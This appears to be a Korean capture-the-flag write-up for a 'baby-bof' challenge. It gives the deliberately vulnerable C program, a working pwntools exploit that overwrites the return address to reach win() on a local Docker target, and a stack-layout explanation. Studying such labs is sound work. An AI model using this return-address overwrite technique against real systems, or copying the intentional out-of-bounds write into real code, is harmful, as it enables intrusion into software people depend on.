// gcc -o baby-bof baby-bof.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
#include <time.h>
void proc_init ()
{
setvbuf (stdin, 0, 2, 0); setvbuf (stdout, 0, 2, 0);
setvbuf (stderr, 0, 2, 0);
}
void win ()
{
char flag[100] = {0,};
int fd;
puts ("You mustn't be here! It's a vulnerability!");
fd = open ("./flag", O_RDONLY);
read(fd, flag, 0x60);
puts(flag);
exit(0);
}
long count;
long value;
long idx = 0;
int main ()
{
char name[16];
// don't care this init function
proc_init ();
printf ("the main function doesn't call win function (0x%lx)!\n", win);
printf ("name: ");
scanf ("%15s", name);
printf ("GM GA GE GV %s!!\n: ", name);
printf ("| addr\t\t| value\t\t|\n");
for (idx = 0; idx < 0x10; idx++) {
printf ("| %lx\t| %16lx\t|\n", name + idx *8, *(long*)(name + idx*8));
}
printf ("hex value: ");
scanf ("%lx%c", &value);
printf ("integer count: ");
scanf ("%d%c", &count);
for (idx = 0; idx < count; idx++) {
*(long*)(name+idx*8) = value;
}
printf ("| addr\t\t| value\t\t|\n");
for (idx = 0; idx < 0x10; idx++) {
printf ("| %lx\t| %16lx\t|\n", name + idx *8, *(long*)(name + idx*8));
}
return 0;
}
exploit 코드
from pwn import *
# [STAGE 1] 서버 연결
# Docker Desktop으로 실행 중인 컨테이너의 포트(33333)에 접속합니다.
p = remote('127.0.0.1', 33333)
# [STAGE 2] 정보 수집 (win 함수 주소 따오기)
# 프로그램 실행 시 출력되는 "win function (0x401236)!" 문자열을 이용합니다.
p.recvuntil(b'win function (') # '(' 가 나올 때까지 읽어서 버림
win_addr_str = p.recvuntil(b')', drop=True).decode() # ')' 전까지 읽어서 주소값만 추출
win_addr = int(win_addr_str, 16) # 16진수 문자열을 숫자로 변환
print(f"[+] 성공적으로 win 주소를 찾았습니다: {hex(win_addr)}")
# [STAGE 3] 이름 입력 (방어막 구간)
# scanf("%15s", name) 때문에 15자만 들어갑니다. 여기선 공격이 안 되므로 대충 넣습니다.
p.sendlineafter(b"name: ", b"hacker")
# [STAGE 4] 정밀 타격값 설정 (value)
# scanf("%lx", &value)에 win 함수의 주소를 전달합니다.
# 이 값이 나중에 RET 자리에 박힐 '탄환'이 됩니다.
p.sendlineafter(b"hex value: ", hex(win_addr).encode())
# [STAGE 5] 침수 범위 설정 (count)
# name(16바이트) + SFP(8바이트) + RET(8바이트) = 총 32바이트를 덮어야 합니다.
# 8바이트씩 쓰므로 32 / 8 = 4번!
# idx=0, 1(name), idx=2(SFP), idx=3(RET) 위치에 value를 씁니다.
p.sendlineafter(b"integer count: ", b"4")
# [STAGE 6] 결과 확인
# main 함수가 종료되면 조작된 RET를 타고 win 함수가 실행됩니다.
p.interactive()
1. 메모리 레이아웃 (64비트 스택 구조)
함수가 실행될 때 스택에 할당되는 공간의 구조입니다. 주소는 아래에서 위로 갈수록 커집니다.
| 구성 요소 | 크기 | 주소 (예시) | 비고 |
| RET (Return Address) | 8바이트 | 0x...198 | 함수 종료 후 돌아갈 주소 (변조 대상) |
| SFP (Saved Frame Pointer) | 8바이트 | 0x...190 | 이전 함수의 스택 프레임 포인터 |
| name [16] | 16바이트 | 0x...180 | idx=0(8바이트) + idx=1(8바이트) |
2. 코드 내 주요 취약점 분석
① 입력 제한 (name)
scanf ("%15s", name);
name 배열은 16바이트지만 %15s로 입력을 제한하여, 일반적인 문자열 입력만으로는 name 범위를 넘어선 오버플로우가 불가능합니다.
② 임의 주소 쓰기 (for 루프)
for (idx = 0; idx < count; idx++) {
*(long*)(name + idx * 8) = value;
}
name의 시작 주소부터 사용자가 입력한 count만큼 8바이트(long) 단위로 데이터를 씁니다. 여기서 인덱스(idx)가 2를 넘어가면 name의 경계를 벗어나 상위 주소의 메모리를 오염시킬 수 있습니다.
3. 주소 계산 및 데이터 덮어쓰기 과정 (16진수)
64비트 시스템에서 주소값은 8바이트 단위로 정렬됩니다.
- idx = 0: name + 0 → 0x...180 (name 0~7바이트)
- idx = 1: name + 8 → 0x...188 (name 8~15바이트)
- idx = 2: name + 16 → 0x...190 (SFP 8바이트)
- 계산: 0x188 + 8 = 0x190 (16진수 연산)
- idx = 3: name + 24 → 0x...198 (RET 8바이트)
- 계산: 0x190 + 8 = 0x198
4. Exploit 실행 단계 (Step-by-Step)
- 주소 파싱 (Parsing):
- 프로그램이 출력하는 win 함수의 메모리 주소(예: 0x40125b)를 파이썬의 recvuntil 등을 이용해 읽어옵니다.
- 값 설정 (value):
- hex value: 입력란에 읽어온 win 함수의 주소를 전달합니다. 이 값이 value 변수에 저장됩니다.
- 범위 설정 (count):
- integer count: 입력란에 **4**를 전달합니다. idx가 0부터 3까지 총 4번 반복되면서 마지막 루프에서 RET 위치에 win 주소를 기록하게 됩니다.
- 코드 흐름 조작:
- main 함수의 return 0;이 실행될 때, CPU는 스택의 0x...198 지점에 저장된 조작된 주소(win)를 읽어 해당 함수로 분기합니다.
5. 환경적 특징 요약
- 16진수 주소 체계: 0x188 다음 주소가 0x190인 이유는 8바이트가 더해졌기 때문입니다.
- 데이터 타입: long 타입을 사용하므로 한 칸 이동 시 8바이트(64비트)씩 주소가 증가합니다.
- Docker 환경: 동일한 라이브러리와 메모리 구조를 보장하기 위해 사용합니다.

